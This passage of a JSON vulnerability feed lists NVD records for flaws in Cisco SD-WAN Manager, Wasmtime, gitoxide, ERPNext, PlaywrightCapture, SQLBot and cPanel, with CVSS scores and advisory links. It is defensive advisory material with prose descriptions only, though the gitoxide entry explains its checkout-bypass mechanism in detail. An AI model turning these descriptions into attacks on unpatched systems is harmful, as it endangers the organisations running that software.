exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/huggingface/diffusers/security/advisories/GHSA-98h9-4798-4q5v","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20224","cveId":"CVE-2026-20224","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in...","summary":"A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in an affected system. The attacker does not need to have valid user credentials.\r\n\r\nThis vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to read arbitrary files that are stored in the affected system.","detail":"A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in an affected system. The attacker does not need to have valid user credentials.\r\n\r\nThis vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to read arbitrary files that are stored in the affected system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T17:16:20.353Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"cisco","product":"catalyst sd-wan manager","stacks":["Cisco","catalyst sd-wan manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20224","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20224","type":"primary","publishedAt":"2026-05-14T17:16:20.353Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44216","cveId":"CVE-2026-44216","aliases":[],"kind":"vulnerability","title":"Wasmtime is a runtime for WebAssembly.","summary":"Wasmtime is a runtime for WebAssembly. From 30.0.0 to 36.0.8, 43.0.2, and 44.0.1, Wasmtime's allocation logic for a WebAssembly table contained checked arithmetic which panicked on overflow. This overflow is possible to trigger, and thus panic, when a table with an extremely large size is allocated. This is possible with the WebAssembly memory64 proposal where tables can have sizes in the 64-bit range as opposed to the previous 32-bit range which would not overflow. The panic happens when attempting to create a very large table, such as when instantiating a WebAssembly module or component. This vulnerability is fixed in 36.0.8, 43.0.2, and 44.0.1.","detail":"Wasmtime is a runtime for WebAssembly. From 30.0.0 to 36.0.8, 43.0.2, and 44.0.1, Wasmtime's allocation logic for a WebAssembly table contained checked arithmetic which panicked on overflow. This overflow is possible to trigger, and thus panic, when a table with an extremely large size is allocated. This is possible with the WebAssembly memory64 proposal where tables can have sizes in the 64-bit range as opposed to the previous 32-bit range which would not overflow. The panic happens when attempting to create a very large table, such as when instantiating a WebAssembly module or component. This vulnerability is fixed in 36.0.8, 43.0.2, and 44.0.1.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:47.793Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"bytecodealliance","product":"wasmtime","stacks":["Bytecodealliance","wasmtime"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44216","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44216","type":"primary","publishedAt":"2026-05-14T15:16:47.793Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-p8xm-42r7-89xg","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44471","cveId":"CVE-2026-44471","aliases":[],"kind":"vulnerability","title":"gitoxide is an implementation of git written in Rust.","summary":"gitoxide is an implementation of git written in Rust. Prior to 0.21.1, a malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to. During checkout, all symlink index entries are deferred and created after regular files using a single shared gix_worktree::Stack. Internally, this uses a gix_fs::Stack. gix_fs::Stack::make_relative_path_current() caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at gix-fs/src/stack.rs invokes only delegate.push_directory(), never delegate.push(). In gix_worktree::stack::delegate::StackDelegate, when the state member is State::CreateDirectoryAndAttributesStack, Attributes::push_directory() only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk symlink_metadata() check and unlink-on-collision live in StackDelegate::push()'s invocation of create_leading_directory(), which is therefore bypassed for the cached prefix. The final symlink is created with plain std::os::unix::fs::symlink, which follows symlinks in parent directories. Therefore, it's possible to provide a tree with duplicate symlink and directory entries that exploits this. This vulnerability is fixed in 0.21.1.","detail":"gitoxide is an implementation of git written in Rust. Prior to 0.21.1, a malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to. During checkout, all symlink index entries are deferred and created after regular files using a single shared gix_worktree::Stack. Internally, this uses a gix_fs::Stack. gix_fs::Stack::make_relative_path_current() caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at gix-fs/src/stack.rs invokes only delegate.push_directory(), never delegate.push(). In gix_worktree::stack::delegate::StackDelegate, when the state member is State::CreateDirectoryAndAttributesStack, Attributes::push_directory() only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk symlink_metadata() check and unlink-on-collision live in StackDelegate::push()'s invocation of create_leading_directory(), which is therefore bypassed for the cached prefix. The final symlink is created with plain std::os::unix::fs::symlink, which follows symlinks in parent directories. Therefore, it's possible to provide a tree with duplicate symlink and directory entries that exploits this. This vulnerability is fixed in 0.21.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:46.057Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"gitoxidelabs","product":"gix-fs","stacks":["Gitoxidelabs","gix-fs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44471","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44471","type":"primary","publishedAt":"2026-05-13T22:16:46.057Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f89h-2fjh-2r9q","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44446","cveId":"CVE-2026-44446","aliases":[],"kind":"vulnerability","title":"ERPNext is a free and open source Enterprise Resource Planning tool.","summary":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.104.3 and 16.14.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 15.104.3 and 16.14.0.","detail":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.104.3 and 16.14.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 15.104.3 and 16.14.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:45.637Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"frappe","product":"erpnext","stacks":["Frappe","erpnext"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44446","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44446","type":"primary","publishedAt":"2026-05-13T22:16:45.637Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/frappe/erpnext/security/advisories/GHSA-6fm9-g88m-hxr7","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44439","cveId":"CVE-2026-44439","aliases":[],"kind":"vulnerability","title":"PlaywrightCapture is a simple replacement for splash using playwright.","summary":"PlaywrightCapture is a simple replacement for splash using playwright. Prior to 1.39.6, PlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. This vulnerability is fixed in 1.39.6.","detail":"PlaywrightCapture is a simple replacement for splash using playwright. Prior to 1.39.6, PlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. This vulnerability is fixed in 1.39.6.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:44.850Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"lookyloo","product":"playwright capture","stacks":["Lookyloo","playwright capture"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44439","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44439","type":"primary","publishedAt":"2026-05-13T22:16:44.850Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Lookyloo/PlaywrightCapture/security/advisories/GHSA-687h-xw6f-q2qw","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42463","cveId":"CVE-2026-42463","aliases":[],"kind":"vulnerability","title":"SQLBot is an intelligent Text-to-SQL system based on large language models and RAG.","summary":"SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.8.0, SQLBot contains a Cross-Workspace IDOR (Insecure Direct Object Reference) and Authorization Bypass vulnerability in the /api/v1/datasource/exportDsSchema and /api/v1/datasource/uploadDsSchema endpoints. An attacker can access and modify database schemas and data sources belonging to other tenants/workspaces. This vulnerability is fixed in 1.8.0.","detail":"SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.8.0, SQLBot contains a Cross-Workspace IDOR (Insecure Direct Object Reference) and Authorization Bypass vulnerability in the /api/v1/datasource/exportDsSchema and /api/v1/datasource/uploadDsSchema endpoints. An attacker can access and modify database schemas and data sources belonging to other tenants/workspaces. This vulnerability is fixed in 1.8.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:43.397Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fit2cloud","product":"sqlbot","stacks":["Fit2cloud","sqlbot"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42463","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42463","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42463","type":"primary","publishedAt":"2026-05-13T22:16:43.397Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dataease/SQLBot/security/advisories/GHSA-pq2r-fj48-xfpp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32992","cveId":"CVE-2026-32992","aliases":[],"kind":"vulnerability","title":"SSL verification is disabled in the DNS Cluster system.","summary":"SSL verification is disabled in the DNS Cluster system. This could allow for a malicious server to man-in-the-middle the request and capture credentials.","detail":"SSL verification is disabled in the DNS Cluster system. This could allow for a malicious server to man-in-the-middle the request and capture credentials.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:43.010Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"cpanel","product":"cpanel","stacks":["Cpanel","cpanel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32992","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32992","type":"primary","publishedAt":"2026-05-13T22:16:43.010Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.cpanel.net/hc/en-us/articles/40437241987607-Security-CVE-2026-32992-cPanel-WHM-WP2-Security-Update-May-13-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-29205","cveId":"CVE-2026-29205","aliases":[],"kind":"vulnerability","title":"Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.","summary":"Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.","detail":"Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:42.817Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"cpanel","product":"cpanel","stacks":["Cpanel","cpanel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29205","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-29205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29205","type":"primary","publishedAt":"2026-05-13T22:16:42.817Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that 